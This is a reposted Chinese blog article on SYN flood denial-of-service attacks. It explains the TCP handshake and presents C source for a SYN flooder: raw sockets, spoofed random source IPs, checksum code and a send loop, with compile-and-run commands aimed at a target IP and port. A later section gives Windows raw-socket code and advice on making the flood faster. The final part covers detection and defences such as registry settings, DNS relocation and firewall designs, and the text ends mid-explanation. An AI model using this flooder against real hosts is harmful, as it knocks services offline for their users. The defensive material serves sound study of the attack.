转载自: https://blog.csdn.net/jiange_zh/article/details/50446172

第一部分 SYN Flood的基本原理

一.原理

1、TCP握手协议

第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;

第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。

在上述过程中,还有一些重要的概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。

2、SYN攻击原理

SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。

配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。

二.完整源代码

请前往我的github下载:

https://github.com/jiangeZh/SYN_Flood.git

三.部分源码分析

1.主函数

/* 为DNS地址,查询并转换成IP地址 */
/**gethostbyname()返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针。*struct hostent*{*  char *h_name;*  char **h_aliases;*  short h_addrtype;*  short h_length;*  char **h_addr_list;*  #define h_addr h_addr_list[0]*};*/
host = gethostbyname(argv[1]);
if(host == NULL)
{perror("gethostbyname()");exit(1);
}
addr.sin_addr = *((struct in_addr*)(host->h_addr));
strncpy( dst_ip, inet_ntoa(addr.sin_addr), 16 );
/* 建立原始socket */
/* raw icmp socket(IPPROTO_ICMP):* 不用构建IP头部分,只发送ICMP头和数据。返回包括IP头和ICMP头和数据。* raw udp socket(IPPROTO_UDP):* 不用构建IP头部分,只发送UDP头和数据。返回包括IP头和UDP头和数据。* raw tcp socket(IPPROTO_TCP):* 不用构建IP头部分,只发送TCP头和数据。返回包括IP头和TCP头和数据。* raw raw socket(IPPROTO_RAW):* 要构建IP头部和要发送的各种协议的头部和数据。返回包括IP头和相应的协议头和数据。*/
sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd < 0)
{perror("socket()");exit(1);
}
/* 当需要编写自己的IP数据包首部时,可以在原始套接字上设置套接字选项IP_HDRINCL.* 在不设置这个选项的情况下,IP协议自动填充IP数据包的首部.*/
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof (on)) < 0)
{perror("setsockopt()");exit(1);
}/* 将程序的权限修改为普通用户 */
setuid(getpid());

2.首部结构定义

定义ip首部struct ip:

struct ip{unsigned char       hl; /* header length */unsigned char       tos; /* type of service */unsigned short      total_len; /* total length */unsigned short      id; /* identification */unsigned short      frag_and_flags; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */unsigned char       ttl; /* time to live */unsigned char       proto; /* protocol */unsigned short      checksum; /* checksum */unsigned int        sourceIP; unsigned int        destIP;
};

定义TCP首部struct tcphdr:

struct tcphdr{unsigned short      sport;unsigned short      dport;unsigned int        seq;unsigned int        ack;unsigned char       lenres;unsigned char       flag;unsigned short      win;unsigned short      sum;unsigned short      urp;
};|----------------|----------------|-------------|     sport      |     dport      ||----------------|----------------||               seq               ||---------------------------------||               ack               | 20 Bytes|------|----|----|----------------||lenres|    |flag|     win        ||------|----|----|----------------||     sum        |     urg        ||----------------|----------------|-------------|             options             | 4 Bytes|---------------------------------|
TCP头 

定义TCP伪首部struct pseudohdr:

struct pseudohdr
{unsigned int        saddr;unsigned int        daddr;char                zero;char                protocol;unsigned short      length;
};

伪首部是一个虚拟的数据结构,其中的信息是从数据报所在IP分组头的分组头中提取的,既不向下传送也不向上递交,而仅仅是为计算校验和。这样的校验和,既校验了TCP&UDP用户数据的源端口号和目的端口号以及TCP&UDP用户数据报的数据部分,又检验了IP数据报的源IP地址和目的地址。伪报头保证TCP&UDP数据单元到达正确的目的地址。

3.checksum函数

计算IP校验和时,计算内容仅为IP首部;
计算TCP校验和时,计算内容为:伪首部+TCP首部+TCP数据;

这里使用的校验和函数是网上广为流传的:

/* CRC16校验 */
unsigned short inline
checksum (unsigned short *buffer, unsigned short size)
{  unsigned long cksum = 0;while(size>1){cksum += *buffer++;size  -= sizeof(unsigned short);}if(size){cksum += *(unsigned char *)buffer;}cksum = (cksum >> 16) + (cksum & 0xffff);cksum += (cksum >> 16);     return((unsigned short )(~cksum));
}

4.send_synflood函数

初始化头部信息,并使用随机生成的源地址填充后计算校验和。
最后把IP首部+TCP首部打包发送出去。

    /* 初始化头部信息 */init_header(&ip, &tcp, &pseudoheader);/* 处于活动状态时持续发送SYN包 */while(alive){ip.sourceIP = rand();//计算IP校验和bzero(buf, sizeof(buf));memcpy(buf , &ip, sizeof(struct ip));ip.checksum = checksum((u_short *) buf, sizeof(struct ip));pseudoheader.saddr = ip.sourceIP;//计算TCP校验和bzero(buf, sizeof(buf));memcpy(buf , &pseudoheader, sizeof(pseudoheader));memcpy(buf+sizeof(pseudoheader), &tcp, sizeof(struct tcphdr));tcp.sum = checksum((u_short *) buf, sizeof(pseudoheader)+sizeof(struct tcphdr));//打包IP+TCPbzero(sendbuf, sizeof(sendbuf));memcpy(sendbuf, &ip, sizeof(struct ip));memcpy(sendbuf+sizeof(struct ip), &tcp, sizeof(struct tcphdr));printf(".");if (sendto(sockfd, sendbuf, len, 0, (struct sockaddr *) addr, sizeof(struct sockaddr))< 0){perror("sendto()");pthread_exit("fail");}}

5.init_header函数

/* 首部初始化函数* 填写IP头部,TCP头部* TCP伪头部仅用于校验和的计算*/
void
init_header(struct ip *ip, struct tcphdr *tcp, struct pseudohdr *pseudoheader)
{int len = sizeof(struct ip) + sizeof(struct tcphdr);// IP头部数据初始化ip->hl = (4<<4 | sizeof(struct ip)/sizeof(unsigned int));ip->tos = 0;ip->total_len = htons(len);ip->id = 1;ip->frag_and_flags = 0x40; //不分片标志ip->ttl = 255;ip->proto = IPPROTO_TCP;ip->checksum = 0;ip->sourceIP = 0;ip->destIP = inet_addr(dst_ip);// TCP头部数据初始化tcp->sport = htons( rand()%16383 + 49152 );tcp->dport = htons(dst_port);tcp->seq = htonl( rand()%90000000 + 2345 ); tcp->ack = 0; tcp->lenres = (sizeof(struct tcphdr)/4<<4|0);tcp->flag = 0x02; //SYN标志tcp->win = htons (2048);  tcp->sum = 0;tcp->urp = 0;//TCP伪头部pseudoheader->zero = 0;pseudoheader->protocol = IPPROTO_TCP;pseudoheader->length = htons(sizeof(struct tcphdr));pseudoheader->daddr = inet_addr(dst_ip);srand((unsigned) time(NULL));
}

注意ip的hl字段:首部长度指的是IP层头部占32 bit字的数目(也就是IP层头部包含多少个4字节 – 32位),包括任何选项。由于它是一个4比特字段,因此首部最长为60个字节。普通IP数据报(没有任何选择项)字段的值是5 <==> 5 * 32 / 8 = 5 * 4 = 20 Bytes

四.测试

1.编译运行

$ gcc -o syn syn_flood.c -lpthread
$ sudo ./syn <IPaddress> <port>
  • 1
  • 2

这里可以指定目的地址和端口号,目的地址可以是IP地址也可以是域名。

我用我自己的服务器来做测试。

2.抓包观察

在目标主机上抓包查看,只显示TCP的SYN和ACK包:
(interface 为指定的接口,比如 -i eth0 )

tcpdump -i <interface> "tcp[tcpflags] & (tcp-syn|tcp-ack) != 0" 
  • 1

可以看到有一大波SYN包袭来……

用netstat查看:

netstat -na | grep tcp
  • 1

可以看到有很多处于 SYN_RECV 状态的连接。

以下是我测试的效果截图:

-----------------------------------------------------------------------------------------------------------------------------------------------------------

第二部分 SYN Flood的基本原理与防护

SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。

要明白这种攻击的基本原理,还是要从TCP连接建立的过程开始说起:

大家都知道,TCP与UDP不同,它是基于连接的,也就是说:为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接,建立TCP连接的标准过程是这样的:

首先,请求端(客户端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;

第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgement)。

第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。

以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)。

问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源—-数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃—即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。

从防御角度来说,有几种简单的解决方法,第一种是缩短SYN Timeout时间,由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数,这个值=SYN攻击的频度 x SYN Timeout,所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间,例如设置为20秒以下(过低的SYN Timeout设置可能会影响客户的正常访问),可以成倍的降低服务器的负荷。

第二种方法是设置SYN Cookie,就是给每一个请求连接的IP地址分配一个Cookie,如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被一概丢弃。

可是上述的两种方法只能对付比较原始的SYN Flood攻击,缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效,SYN Cookie更依赖于对方使用真实的IP地址,如果攻击者以数万/秒的速度发送SYN报文,同时利用SOCK_RAW随机改写IP报文中的源地址,以上的方法将毫无用武之地。

第二部份 SYN Flooder源码解读

下面我们来分析SYN Flooder的程序实现。

首先,我们来看一下TCP报文的格式:

0 1 2 3 4 5 6

0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| IP首部 | TCP首部 | TCP数据段   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

图一 TCP报文结构

如上图所示,一个TCP报文由三个部分构成:20字节的IP首部、20字节的TCP首部与不定长的数据段,(实际操作时可能会有可选的IP选项,这种情况下TCP首部向后顺延)由于我们只是发送一个SYN信号,并不传递任何数据,所以TCP数据段为空。TCP首部的数据结构为:

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 十六位源端口号 | 十六位目标端口号 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位序列号 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位确认号 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 四位 | |U|A|P|R|S|F| |

| 首部 |六位保留位 |R|C|S|S|Y|I| 十六位窗口大小 |

| 长度 | |G|K|H|T|N|N| |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 十六位校验和 | 十六位紧急指针 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 选项(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 数据(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

图二 TCP首部结构

根据TCP报文格式,我们定义一个结构TCP_HEADER用来存放TCP首部:

C++
typedef struct _tcphdr

{

USHORT th_sport; //16位源端口

USHORT th_dport; //16位目的端口

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres; //4位首部长度+6位保留字中的4位

unsigned char th_flag; //2位保留字+6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位校验和

USHORT th_urp; //16位紧急数据偏移量

}TCP_HEADER;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

typedefstruct _tcphdr
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsignedint th_seq;//32位序列号
unsignedint th_ack;//32位确认号
unsignedchar th_lenres;//4位首部长度+6位保留字中的4位
unsignedchar th_flag;//2位保留字+6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;

通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2(二进制的00000010)我们能制造一个SYN的TCP报文,通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己,也为了躲避服务器的SYN Cookie检查,还需要直接对IP首部进行操作:

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 版本 | 长度 | 八位服务类型 | 十六位总长度 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 十六位标识 | 标志| 十三位片偏移   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 八位生存时间 | 八位协议 | 十六位首部校验和 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位源IP地址   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位目的IP地址 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 选项(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|   数据   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

图三 IP首部结构

同样定义一个IP_HEADER来存放IP首部

C++
typedef struct _iphdr { unsigned char h_verlen; //4位首部长度+4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议号(TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IP_HEADER;
1
2
3
4
5
6
7
8
9
10
11
12
13

typedefstruct _iphdr
{
unsignedchar h_verlen;//4位首部长度+4位IP版本号
unsignedchar tos;//8位服务类型TOS
unsignedshort total_len;//16位总长度(字节)
unsignedshort ident;//16位标识
unsignedshort frag_and_flags;//3位标志位
unsignedchar ttl;//8位生存时间 TTL
unsignedchar proto;//8位协议号(TCP, UDP 或其他)
unsignedshort checksum;//16位IP首部校验和
unsignedint sourceIP;//32位源IP地址
unsignedint destIP;//32位目的IP地址
}IP_HEADER;

然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

建立一个原始套接口,由于我们的IP源地址是伪造的,所以不能指望系统帮我们计算IP校验和,我们得在在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和:

C++
flag=TRUE; setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
1
2

flag=TRUE;
setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(int));

IP校验和的计算方法是:首先将IP首部的校验和字段设为0(IP_HEADER.checksum=0),然后计算整个IP首部(包括选项)的二进制反码的和,一个标准的校验和函数如下所示:

C++
USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }
1
2
3
4
5
6
7
8
9
10
11
12

USHORT checksum(USHORT*buffer,int size)
{
unsignedlong cksum=0;
while(size>1){
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) cksum+= *(UCHAR*)buffer;
cksum= (cksum>> 16)+ (cksum& 0xffff);
cksum+= (cksum>>16);
return(USHORT)(~cksum);
}

这个函数并没有经过任何的优化,由于校验和函数是TCP/IP协议中被调用最多函数之一,所以一般说来,在实现TCP/IP栈时,会根据操作系统对校验和函数进行优化。

TCP首部检验和与IP首部校验和的计算方法相同,在程序中使用同一个函数来计算。

需要注意的是,由于TCP首部中不包含源地址与目标地址等信息,为了保证TCP校验的有效性,在进行TCP校验和的计算时,需要增加一个TCP伪首部的校验和,定义如下:

C++
struct

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz; //置空

char ptcl; //协议类型

unsigned short tcpl; //TCP长度

}psd_header;

然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和:

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

计算IP校验和的时候不需要包括TCP伪首部:

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));

再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了:

memcpy(SendBuf,&ip_header,sizeof(ip_header));

sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

struct
{
unsignedlong saddr;//源地址
unsignedlong daddr;//目的地址
charmbz; //置空
charptcl; //协议类型
unsignedshort tcpl;//TCP长度
}psd_header;
然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和:
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
计算IP校验和的时候不需要包括TCP伪首部:
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
ip_header.checksum=checksum((USHORT*)SendBuf,sizeof(ip_header)+sizeof(tcp_header));
再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了:
memcpy(SendBuf,&ip_header,sizeof(ip_header));
sendto(SockRaw,SendBuf,datasize,0,(structsockaddr*)&DestAddr,sizeof(DestAddr));

因为整个TCP报文中的所有部分都是我们自己写入的(操作系统不会做任何干涉),所以我们可以在IP首部中放置随机的源IP地址,如果伪造的源IP地址确实有人使用,他在接收到服务器的SYN+ACK报文后会发送一个RST报文(标志位为00000100),通知服务器端不需要等待一个无效的连接,可是如果这个伪造IP并没有绑定在任何的主机上,不会有任何设备去通知主机该连接是无效的(这正是TCP协议的缺陷),主机将不断重试直到SYN Timeout时间后才能丢弃这个无效的半连接。所以当攻击者使用主机分布很稀疏的IP地址段进行伪装IP的SYN Flood攻击时,服务器主机承受的负荷会相当的高,根据测试,一台PIII 550MHz+128MB+100Mbps的机器使用经过初步优化的SYN Flooder程序可以以16,000包/秒的速度发送TCP SYN报文,这样的攻击力已经足以拖垮大部分WEB服务器了。

稍微动动脑筋我们就会发现,想对SYN Flooder程序进行优化是很简单的,从程序构架来看,攻击时循环内的代码主要是进行校验和计算与缓冲区的填充,一般的思路是提高校验和计算的速度,我甚至见过用汇编代码编写的校验和函数,实际上,有另外一个变通的方法可以轻松实现优化而又不需要高深的编程技巧和数学知识,(老实说吧,我数学比较差:P),我们仔细研究了两个不同源地址的TCP SYN报文后发现,两个报文的大部分字段相同(比如目的地址、协议等等),只有源地址和校验和不同(如果为了隐蔽,源端口也可以有变化,但是并不影响我们算法优化的思路),如果我们事先计算好大量的源地址与校验和的对应关系表(如果其他的字段有变化也可以加入这个表),等计算完毕了攻击程序就只需要单纯的组合缓冲区并发送(用指针来直接操作缓冲区的特定位置,从事先计算好的对应关系表中读出数据,替换缓冲区相应字段),这种简单的工作完全取决于系统发送IP包的速度,与程序的效率没有任何关系,这样,即使是CPU主频较低的主机也能快速的发送大量TCP SYN攻击包。如果考虑到缓冲区拼接的时间,甚至可以定义一个很大的缓冲区数组,填充完毕后再发送(雏鹰给这种方法想了一个很贴切的比喻:火箭炮装弹虽然很慢,但是一旦炮弹上膛了以后就可以连续猛烈地发射了:)。

第三部分 SYN Flood攻击的监测与防御初探

对于SYN Flood攻击,目前尚没有很好的监测和防御方法,不过如果系统管理员熟悉攻击方法和系统架构,通过一系列的设定,也能从一定程度上降低被攻击系统的负荷,减轻负面的影响。(这正是我撰写本文的主要目的)

一般来说,如果一个系统(或主机)负荷突然升高甚至失去响应,使用Netstat 命令能看到大量SYN_RCVD的半连接(数量>500或占总连接数的10%以上),可以认定,这个系统(或主机)遭到了SYN Flood攻击。

遭到SYN Flood攻击后,首先要做的是取证,通过Netstat –n –p tcp >resault.txt记录目前所有TCP连接状态是必要的,如果有嗅探器,或者TcpDump之类的工具,记录TCP SYN报文的所有细节也有助于以后追查和防御,需要记录的字段有:源地址、IP首部中的标识、TCP首部中的序列号、TTL值等,这些信息虽然很可能是攻击者伪造的,但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是TTL值,如果大量的攻击包似乎来自不同的IP但是TTL值却相同,我们往往能推断出攻击者与我们之间的路由器距离,至少也可以通过过滤特定TTL值的报文降低被攻击系统的负荷(在这种情况下TTL值与攻击报文不同的用户就可以恢复正常访问)

前面曾经提到可以通过缩短SYN Timeout时间和设置SYN Cookie来进行SYN攻击保护,对于Win2000系统,还可以通过修改注册表降低SYN Flood的危害,在注册表中作如下改动:

首先,打开regedit,找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

增加一个SynAttackProtect的键值,类型为REG_DWORD,取值范围是0-2,这个值决定了系统受到SYN攻击时采取的保护措施,包括减少系统SYN+ACK的重试的次数等,默认值是0(没有任何保护措施),推荐设置是2;

增加一个TcpMaxHalfOpen的键值,类型为REG_DWORD,取值范围是100-0xFFFF,这个值是系统允许同时打开的半连接,默认情况下WIN2K PRO和SERVER是100,ADVANCED SERVER是500,这个值很难确定,取决于服务器TCP负荷的状况和可能受到的攻击强度,具体的值需要经过试验才能决定。

增加一个TcpMaxHalfOpenRetried的键值,类型为REG_DWORD,取值范围是80-0xFFFF,默认情况下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,这个值决定了在什么情况下系统会打开SYN攻击保护。

我们来分析一下Win2000的SYN攻击保护机制:正常情况下,Win2K对TCP连接的三次握手有一个常规的设置,包括SYN Timeout时间、SYN-ACK的重试次数和SYN报文从路由器到系统再到Winsock的延时等,这个常规设置是针对系统性能进行优化的(安全和性能往往相互矛盾)所以可以给用户提供方便快捷的服务;一旦服务器受到攻击,SYN半连接的数量超过TcpMaxHalfOpenRetried的设置,系统会认为自己受到了SYN Flood攻击,此时设置在SynAttackProtect键值中的选项开始作用,SYN Timeout时间被减短,SYN-ACK的重试次数减少,系统也会自动对缓冲区中的报文进行延时,避免对TCP/IP堆栈造成过大的冲击,力图将攻击危害减到最低;如果攻击强度不断增大,超过了TcpMaxHalfOpen值,此时系统已经不能提供正常的服务了,更重要的是保证系统不会崩溃,所以系统将会丢弃任何超出TcpMaxHalfOpen值范围的SYN报文(应该是使用随机丢包策略),保证系统的稳定性。

所以,对于需要进行SYN攻击保护的系统,我们可以测试/预测一下访问峰值时期的半连接打开量,以其作为参考设定TcpMaxHalfOpenRetried的值(保留一定的余量),然后再以TcpMaxHalfOpenRetried的1.25倍作为TcpMaxHalfOpen值,这样可以最大限度地发挥WIN2K自身的SYN攻击保护机制。

通过设置注册表防御SYN Flood攻击,采用的是“挨打”的策略,无论系统如何强大,始终不能光靠挨打支撑下去,除了挨打之外,“退让”也是一种比较有效的方法。

退让策略是基于SYN Flood攻击代码的一个缺陷,我们重新来分析一下SYN Flood攻击者的流程:SYN Flood程序有两种攻击方式,基于IP的和基于域名的,前者是攻击者自己进行域名解析并将IP地址传递给攻击程序,后者是攻击程序自动进行域名解析,但是它们有一点是相同的,就是一旦攻击开始,将不会再进行域名解析,我们的切入点正是这里:假设一台服务器在受到SYN Flood攻击后迅速更换自己的IP地址,那么攻击者仍在不断攻击的只是一个空的IP地址,并没有任何主机,而防御方只要将DNS解析更改到新的IP地址就能在很短的时间内(取决于DNS的刷新时间)恢复用户通过域名进行的正常访问。为了迷惑攻击者,我们甚至可以放置一台“牺牲”服务器让攻击者满足于攻击的“效果”(由于DNS缓冲的原因,只要攻击者的浏览器不重起,他访问的仍然是原先的IP地址)。

同样的原因,在众多的负载均衡架构中,基于DNS解析的负载均衡本身就拥有对SYN Flood的免疫力,基于DNS解析的负载均衡能将用户的请求分配到不同IP的服务器主机上,攻击者攻击的永远只是其中一台服务器,虽然说攻击者也能不断去进行DNS请求从而打破这种“退让”策略,但是一来这样增加了攻击者的成本,二来过多的DNS请求可以帮助我们追查攻击者的真正踪迹(DNS请求不同于SYN攻击,是需要返回数据的,所以很难进行IP伪装)。

对于防火墙来说,防御SYN Flood攻击的方法取决于防火墙工作的基本原理,一般说来,防火墙可以工作在TCP层之上或IP层之下,工作在TCP层之上的防火墙称为网关型防火墙,网关型防火墙与服务器、客户机之间的关系如下图所示:

外部TCP连接 内部TCP连接

[客户机] =================>[防火墙] =================>[服务器]

如上图所示,客户机与服务器之间并没有真正的TCP连接,客户机与服务器之间的所有数据交换都是通过防火墙代理的,外部的DNS解析也同样指向防火墙,所以如果网站被攻击,真正受到攻击的是防火墙,这种防火墙的优点是稳定性好,抗打击能力强,但是因为所有的TCP报文都需要经过防火墙转发,所以效率比较低由于客户机并不直接与服务器建立连接,在TCP连接没有完成时防火墙不会去向后台的服务器建立新的TCP连接,所以攻击者无法越过防火墙直接攻击后台服务器,只要防火墙本身做的足够强壮,这种架构可以抵抗相当强度的SYN Flood攻击。但是由于防火墙实际建立的TCP连接数为用户连接数的两倍(防火墙两端都需要建立TCP连接),同时又代理了所有的来自客户端的TCP请求和数据传送,在系统访问量较大时,防火墙自身的负荷会比较高,所以这种架构并不能适用于大型网站。(我感觉,对于这样的防火墙架构,使用TCP_STATE攻击估计会相当有效:)

工作在IP层或IP层之下的防火墙(路由型防火墙)工作原理有所不同,它与服务器、客户机的关系如下图所示:

[防火墙] 数据包修改转发

[客户机]========|=======================>[服务器]

TCP连接

客户机直接与服务器进行TCP连接,防火墙起的是路由器的作用,它截获所有通过的包并进行过滤,通过过滤的包被转发给服务器,外部的DNS解析也直接指向服务器,这种防火墙的优点是效率高,可以适应100Mbps-1Gbps的流量,但是这种防火墙如果配置不当,不仅可以让攻击者越过防火墙直接攻击内部服务器,甚至有可能放大攻击的强度,导致整个系统崩溃。

在这两种基本模型之外,有一种新的防火墙模型,我个人认为还是比较巧妙的,它集中了两种防火墙的优势,这种防火墙的工作原理如下所示:

第一阶段,客户机请求与防火墙建立连接:

SYN SYN+ACK ACK

[客户机]—- >[防火墙] => [防火墙]——– >[客户机] => [客户机]— >[防火墙]

第二阶段,防火墙伪装成客户机与后台的服务器建立连接

[防火墙]< =========== >[服务器]

TCP连接

第三阶段,之后所有从客户机来的TCP报文防火墙都直接转发给后台的服务器

防火墙转发

